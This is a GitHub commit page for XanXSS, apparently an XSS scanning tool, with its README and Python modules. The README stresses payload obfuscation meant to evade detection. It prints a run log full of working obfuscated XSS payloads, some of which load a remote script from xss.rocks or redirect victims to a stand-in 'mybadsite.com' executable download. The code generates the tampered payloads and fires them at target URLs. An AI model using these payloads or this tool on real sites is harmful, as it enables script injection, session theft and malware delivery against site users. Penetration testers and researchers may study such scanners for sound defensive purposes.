Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit a0d7ac1
Showing
26 changed files
with
1,198 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
*.pyc |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
```bash | ||
XanXSS; Simple XSS finding tool | ||
Copyright (C) 2018 Ekultek | ||
|
||
This program is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
|
||
This program is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
|
||
You should have received a copy of the GNU General Public License | ||
along with this program. If not, see <https://www.gnu.org/licenses/>. | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
# XanXSS | ||
|
||
XanXSS is a reflected XSS searching tool (DOM coming soon) that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: | ||
|
||
```bash | ||
<xAnXSS</TitLE></STYLE><SVG/ONload='alERt(1);'/></XaNxSs</titLe></StYlE><SvG/ONlOAD='alerT(1);'/> | ||
<ifrAmE Src= [2].Find(CoNfirm);= "JAVaScRIpT:proMpT(1))"javAscrIpt:/*--></scRIPt> | ||
/>cLIcK Me!</b</TextaRea></TiTLE><BUTtON ONcLIck='aleRT(1);'/>XaNxss</TEXTaRea> | ||
<iMG sRc=%0acONfIRM();=+'jAVASCRiPT:alerT("XSS");'</STYlE><Svg/onLoad='alErT((1));'/> | ||
``` | ||
|
||
With XanXSS every payload is different. XanXSS works by running through the payloads until a specified number is found or a timer hits the max time, this prevents it from looping for to long. | ||
|
||
# Proof of Concept | ||
|
||
For this proof of concept we will use https://xss-game.appspot.com/level1/frame | ||
|
||
```bash | ||
admin@TBG-a0216:~/bin/python/xanxss$ python xanxss.py -u "http://xss-game.appspot.com/level1/frame?query=" -a 12 -t 12 -f 25 -v | ||
|
||
____ ___ ____ ___ _________ _________ | ||
\ \/ /____ ____ \ \/ / / _____// _____/ | ||
\ /\__ \ / \ \ / \_____ \ \_____ \ | ||
/ \ / __ \| | \/ \ / \/ \ | ||
/___/\ (____ /___| /___/\ \/_______ /_______ / | ||
\_/ \/ \/ \_/ \/ \/ | ||
Twitter-> @stay__salty | ||
Github --> ekultek | ||
Version---> v(0.1) | ||
|
||
|
||
[info][16:37:34] using default payloads | ||
[info][16:37:34] generating payloads | ||
[info][16:37:34] running payloads through tampering procedures | ||
[info][16:37:34] payloads tampered successfully | ||
[info][16:37:34] running payloads | ||
[debug][16:37:34] running payload '<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>' | ||
[debug][16:37:34] running payload '<SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>' | ||
[debug][16:37:34] running payload '<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>' | ||
[debug][16:37:34] running payload '<iMG/+/sRc=%0dA=%0DPrOMpt,a(();=%0a'JaVaSCripT:aLeRt("XSS"));'javasCRiPT:/*--></sCRipt>' | ||
[debug][16:37:34] running payload '<SCRIPT/*/srC=">A=%0aprompT,A(();=%09'htTp://xSs.rockS/XSs.Js'</TeXTARea></TiTLE><buTTOn oncLiCK='ALeRT(1);'/>XAnXsS</tEXTARea></scrIPTjaVaSCRipT:/*--></sCRIPt>' | ||
[debug][16:37:35] running payload '<IMg SRC=%09CONFIRM(());=%0a'JavAscrIpt:aLERt("XSS");'JavasCrIpT:/*--></SCripT>' | ||
[debug][16:37:35] running payload '<XAnXSS</STYlE><SVg/OnLOAd='aLeRT(1));'/></xAnXsSjaVasCRIpt:/*--></scrIpt>' | ||
[debug][16:37:35] running payload '<sCRIPt`Src=+cOnFiRm());=+'htTP://xSs.rOCKs/xsS.js'</TextaREA></tiTle><ButTon ONCliCK='AlErt(1);'/>xanxSS</TeXTarEa></SCriPtJAvaScrIPt:/*--></SCrIpt>' | ||
[debug][16:37:35] running payload '<scRIpT</title></stYle><sVG/onlOAD='AlERT(1));'/>aLert((1));</scRipT</titLE></STyLe><sVG/oNlOad='aLeRt((1));'/>' | ||
[debug][16:37:35] running payload '<SC\u009lripT/*/SrC=%0aConFirm();= 'hTTP://xsS.ROcks/xSs.js'</TITle></StYlE><svg/ONLOad='ALerT(1);'/></ScriPT</StyLe><svG/OnLOAd='ALert((1);'/>' | ||
[debug][16:37:35] running payload '<B//ONMOuSEOver=">ConFIrm(();= wIndow.LoCATIoN= \u005g;(pRoMPT))``;=%0A'htTpS://MyBaDSitE.cOM/dOwnLoAd.phP?iTem=+(pRomPt)``;=%0apuMPEDuPkICKs.exE'jaVAScrIpt:/*--></sCrIPt>ClIcK/*/mE!</b</tiTLe></sTyLE><sVG/OnLoAd='aLert(1));'/>' | ||
[debug][16:37:35] running payload '<IfRA\u007pme%00SrC=%0AcOnFIRm(());=%0a"jaVAScriPT:pRoMPT(1)"jAVaScRIpt:/*--></SCriPt>' | ||
[debug][16:37:36] running payload '<IframE//SrC=">CONfIRM());=%0d"jAvAscriPT:pROMpT(1)"</TeXtarEa></TiTLe><BUttoN oNcliCK='aLERt((1));'/>XanXss</texTAReA>' | ||
[debug][16:37:36] running payload '<iMG/+/SRc=%09[3].FInd(COnFIRm));=">'javAscriPt:A\u004pLerT("XSS");'JavaSCriPt:/*--></sCripT>' | ||
[debug][16:37:36] running payload '<imG SRc=%0d[2].FinD(cOnFiRm));= 'JaVaScRipt:ALERt("XSS"));'</styLe><SVg/oNLoad='ALErT(1));'/>' | ||
[debug][16:37:36] running payload '<script</tITLE></style><SVG/onLOAD='alerT(1);'/>AleRt(1);</ScRIpTjAvASCrIPT:/*--></scRIPt>' | ||
[debug][16:37:36] running payload '<XaNxSs</tITle></sTYlE><SVg/ONload='aLERT((1);'/></xANxsS</stYLE><Svg/OnlOAD='AleRt(1);'/>' | ||
[debug][16:37:36] running payload '<b//ONmOUSEoVEr=%0D[8].fInd(coNfIrM);=%09WinDoW.location=%0A(COnfiRm)(();= 'htTPS://MYBadsite.cOM/DoWNlOaD.php?ITEm=+COnFIrM();=+puMPEDupKickS.ExE'</styLe><sVG/OnLOAd='alERt((1);'/>CLick%00Me!</b</sTYlE><SVG/onloAD='AlERt(1);'/>' | ||
[debug][16:37:37] running payload '<scriPT</styLE><SvG/ONloaD='aLERT(1);'/>ALeRt(1);</SCrIPt</tiTLe></STYlE><sVG/OnloAd='aLeRT(1\u009x);'/>' | ||
[debug][16:37:37] running payload '<iFRamE%00srC=">[7].FInD(cOnFiRm);=%0A"javAsCRipT:prompt(1))"</tITlE\u009e></sTyle><svg/oNLOad='alert((1);'/>' | ||
[debug][16:37:37] running payload '<b/*/OnmOusEOver= A=%0apROMpt,A();=+wINdOW.LOCAtIon=">co\U006EfiR\u006\u003id();=%09'HTtPS://MYBAdsiTE.com/doWNload.php?itEm=+((CoNfIrm)();=">puMpedUPKickS.eXe'</teXtaREa></tiTLe><BUTTON oNclIck='aLeRT((1);'/>XanXsS</texTAREA>cLICk/*/Me!</B</StylE><SVG/ONloAd='aLERt((1));'/>' | ||
[debug][16:37:37] running payload '<XANxSSJaVaScRIpt:/*--></SCripT></XAnXSs</TExtAREa></tITle\u008w><b\u009fuTTON oNclIck='Ale\u003rRT((1);'/>xANXss</TEXTArEA>' | ||
[debug][16:37:37] running payload '<SCript/*/sRC=+A= prOmpt,A();= 'HtTp://XsS.rocKS/xsS.JS'</stylE><sVG/onLoad='AlErT((1);'/></SCriptjAvaScriPt:/*--></ScrIpt>' | ||
[debug][16:37:37] running payload '<ImG SRc=">Co\U006efIr\u006D();=%0a\u007u'javAsCript:AlerT(("XSS");'</titlE></StYLe><svg/onloAD='alERt(1);'/>' | ||
[debug][16:37:38] running payload '<B/*/ONmouSeOvEr=%0Aa= prOmpT,A();=%09WIndOw.LOCAtION=%0Aa=%09prompt,a();=%0A'hTTps://MYBadsITe.COM/DOWNLOAD.PHp?ITeM= cO\u006Efir\u006D());=%0dPumPeduPkicks.EXE'</tITlE></StyLE><svg/OnlOAD='aLerT((1));'/>clIcK mE!</bJavASCript:/*--></sCrIPT>' | ||
[warning][16:37:48] times up dumping found | ||
[info][16:37:48] working payloads: | ||
-------------------------------------------------- | ||
~~> <xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/> | ||
~~> <SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/> | ||
~~> <xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/> | ||
-------------------------------------------------- | ||
[info][16:37:48] found a total of 3 working payloads | ||
admin@TBG-a0216:~/bin/python/xanxss$ | ||
``` | ||
Now lets check those scripts in the HTML of the website: | ||
Payload:```<xanxssjAvASCRIpT:/*--></ScRiPt></XANxsS</tiTle></STyle><SvG/OnLOAD\u006c='aLErt(1);'/>``` | ||
![xanxsspoc1](https://user-images.githubusercontent.com/14183473/48165682-f1dede00-e2ab-11e8-8c33-4cd8d909b760.png) | ||
Payload: ```<SCRipt Src=+(pRomPt))``;=%09'HtTP://xsS.ROCKs/xss.jS'jaVAsCRIpt:/*--></ScrIPt></Script</tiTLe></stYLe><Svg/OnLOaD='aLeRT(1);'/>``` | ||
![xanxsspoc2](https://user-images.githubusercontent.com/14183473/48165747-25216d00-e2ac-11e8-8d2f-8f6eed88f7b8.png) | ||
Payload: ```<xanxsSjAvasCRipT:/*--></SCripT></xanXsS</Style><svG/Onload='ALERt((1);'/>``` | ||
![xanxsspoc3](https://user-images.githubusercontent.com/14183473/48165767-38343d00-e2ac-11e8-8785-aa736183ab9d.png) | ||
# Options | ||
XanXSS comes complete with the ability to use a proxy, is compatible with proxychains, and allows you to add custom headers. I have provideda full list of options for your convience: | ||
```bash | ||
usage: xanxss.py [-h] [-u http://test.com/test.php?id=] [-a VERIFY] | ||
[-f AMOUNT] [-t TIME] | ||
[-p SCRIPT,SCRIPT,SCRIPT [SCRIPT,SCRIPT,SCRIPT ...]] | ||
[-F FILE-PATH] [-v] [--proxy TYPE://IP:PORT] | ||
[-H HEADER=VALUE,HEADER:VALUE] | ||
optional arguments: | ||
-h, --help show this help message and exit | ||
-u http://test.com/test.php?id=, --url http://test.com/test.php?id= | ||
pass a URL to test for XSS vulnerabilities | ||
-a VERIFY, --amount VERIFY | ||
how many verifications steps to be taken | ||
-f AMOUNT, --find AMOUNT | ||
find this amount of working payloads | ||
-t TIME, --time TIME amount of time in seconds to spend on testing | ||
-p SCRIPT,SCRIPT,SCRIPT [SCRIPT,SCRIPT,SCRIPT ...], --payloads SCRIPT,SCRIPT,SCRIPT [SCRIPT,SCRIPT,SCRIPT ...] | ||
pass a comma separated list of your own payloads | ||
-F FILE-PATH, --file FILE-PATH | ||
pass a file containing payloads | ||
-v, --verbose run in verbose mode | ||
--proxy TYPE://IP:PORT | ||
pass a proxy in the format type://ip:port | ||
-H HEADER=VALUE,HEADER:VALUE, --headers HEADER=VALUE,HEADER:VALUE | ||
Add your own custom headers to the request | ||
``` |
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
import argparse | ||
|
||
|
||
class StoreDictKeyPairs(argparse.Action): | ||
|
||
""" | ||
custom action to create a dict from a provided string in the format of key=value | ||
""" | ||
|
||
retval = {} | ||
|
||
def __call__(self, parser, namespace, values, option_string=None): | ||
for kv in values.split(","): | ||
if ":" in kv: | ||
splitter = ":" | ||
else: | ||
splitter = "=" | ||
if kv.count(splitter) != 1: | ||
first_equal_index = kv.index(splitter) | ||
key = kv[:first_equal_index].strip() | ||
value = kv[first_equal_index + 1:].strip() | ||
self.retval[key] = value | ||
else: | ||
k, v = kv.split(splitter) | ||
self.retval[k.strip()] = v.strip() | ||
setattr(namespace, self.dest, self.retval) | ||
|
||
|
||
class OptParser(argparse.ArgumentParser): | ||
|
||
def __init__(self): | ||
super(OptParser, self).__init__() | ||
|
||
@staticmethod | ||
def opts(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument( | ||
"-u", "--url", dest="urlToUse", metavar="http://test.com/test.php?id=", | ||
help="pass a URL to test for XSS vulnerabilities" | ||
) | ||
parser.add_argument( | ||
"-a", "--amount", type=int, dest="verificationAmount", metavar="VERIFY", | ||
help="how many verifications steps to be taken" | ||
) | ||
parser.add_argument( | ||
"-f", "--find", type=int, dest="amountToFind", metavar="AMOUNT", | ||
help="find this amount of working payloads" | ||
) | ||
parser.add_argument( | ||
"-t", "--time", type=int, dest="testTime", metavar="TIME", | ||
help="amount of time in seconds to spend on testing" | ||
) | ||
parser.add_argument( | ||
"-p", "--payloads", nargs="+", dest="providedPayloads", metavar="SCRIPT,SCRIPT,SCRIPT", | ||
help="pass a comma separated list of your own payloads" | ||
) | ||
parser.add_argument( | ||
"-F", "--file", dest="payloadFile", metavar="FILE-PATH", | ||
help="pass a file containing payloads" | ||
) | ||
parser.add_argument( | ||
"-v", "--verbose", action="store_true", dest="runVerbose", | ||
help="run in verbose mode" | ||
) | ||
parser.add_argument( | ||
"--proxy", dest="proxyToUse", metavar="TYPE://IP:PORT", | ||
help="pass a proxy in the format type://ip:port" | ||
) | ||
parser.add_argument( | ||
"-H", "--headers", dest="extraHeaders", action=StoreDictKeyPairs, metavar="HEADER=VALUE,HEADER:VALUE", | ||
help="Add your own custom headers to the request" | ||
) | ||
return parser.parse_args() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,34 @@ | ||
import time | ||
|
||
|
||
def debug(string): | ||
""" | ||
output a dark blue debug string | ||
""" | ||
timer = time.strftime("%H:%M:%S") | ||
print("\033[36m[debug]\033[0m[{}] {}".format(timer, string)) | ||
|
||
|
||
def info(string): | ||
""" | ||
output a light green information string | ||
""" | ||
timer = time.strftime("%H:%M:%S") | ||
print("\033[1m\033[92m[info][{}]\033[0m {}".format(timer, string)) | ||
|
||
|
||
def warning(string): | ||
""" | ||
output a dark yellow warning string | ||
""" | ||
timer = time.strftime("%H:%M:%S") | ||
print("\033[33m[warning][{}]\033[0m {}".format(timer, string)) | ||
|
||
|
||
def error(string): | ||
""" | ||
output a red error string | ||
""" | ||
timer = time.strftime("%H:%M:%S") | ||
print("\033[91m[error][{}]\033[0m {}".format(timer, string)) | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
import random | ||
|
||
import lib.settings | ||
|
||
|
||
class PayloadGeneration(object): | ||
|
||
def __init__(self, templates, amount=10): | ||
self.templates = templates | ||
self.amount = amount | ||
|
||
def create_tampers(self): | ||
return lib.settings.load_tampers() | ||
|
||
def obfuscate_tampers(self, tampers): | ||
retval = set() | ||
for _ in range(self.amount): | ||
payload = random.choice(self.templates) | ||
for tamper in tampers: | ||
if tamper is not None: | ||
payload = tamper.tamper(payload) | ||
retval.add(payload) | ||
return retval |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,73 @@ | ||
import re | ||
import time | ||
import textwrap | ||
|
||
import requests | ||
|
||
import lib.settings | ||
import lib.formatter | ||
|
||
|
||
class Requester(object): | ||
|
||
def __init__(self, url, script, headers=None, proxy=None, **kwargs): | ||
self.url = url | ||
self.script = script | ||
self.headers = headers if headers is not None else lib.settings.HEADERS | ||
self.proxy = {"http": proxy, "https": proxy} if proxy is not None else {} | ||
self.throttle = kwargs.get("throttle", 0) | ||
self.timeout = kwargs.get("timeout", 7) | ||
|
||
def load_url(self): | ||
return self.url + self.script | ||
|
||
def make_request(self): | ||
retval = {} | ||
try: | ||
time.sleep(self.throttle) | ||
self.url = self.load_url() | ||
req = requests.get(self.url, timeout=self.timeout, headers=self.headers, proxies=self.proxy) | ||
content = req.content | ||
retval[self.script] = content | ||
except Exception: | ||
retval[self.script] = None | ||
return retval | ||
|
||
@staticmethod | ||
def check_for_script(responses, verification_amount=10, total_amount_to_find=5, test_time=10): | ||
retval = set() | ||
parts_in_script = 0 | ||
start_time = time.time() | ||
while len(retval) != total_amount_to_find: | ||
if time.time() - start_time > test_time: | ||
lib.formatter.warning("times up dumping found") | ||
break | ||
else: | ||
if len(retval) == total_amount_to_find: | ||
lib.formatter.info("found requested amount of payloads dumping") | ||
break | ||
for item in responses: | ||
for key, value in item.items(): | ||
if value is not None: | ||
key_parts = textwrap.wrap(key, len(key) / 8) | ||
for part in key_parts: | ||
issue_fixers = { | ||
")": r"\)", "(": "\(", "[": r"\[", "]": r"\]", | ||
"\\": r"\\", "/*/": r"\/*\/", "((": "\(\(", "+": "\+", | ||
"*": r"\*", "/": r"\/" | ||
} | ||
identifiers = issue_fixers.keys() | ||
to_use = "" | ||
for c in part: | ||
if c in identifiers: | ||
c = issue_fixers[c] | ||
to_use += c | ||
try: | ||
regex = re.compile(to_use, re.I) | ||
if regex.search(value): | ||
parts_in_script += 1 | ||
if parts_in_script <= verification_amount: | ||
retval.add(key) | ||
except re.error: | ||
pass | ||
return retval |
Oops, something went wrong.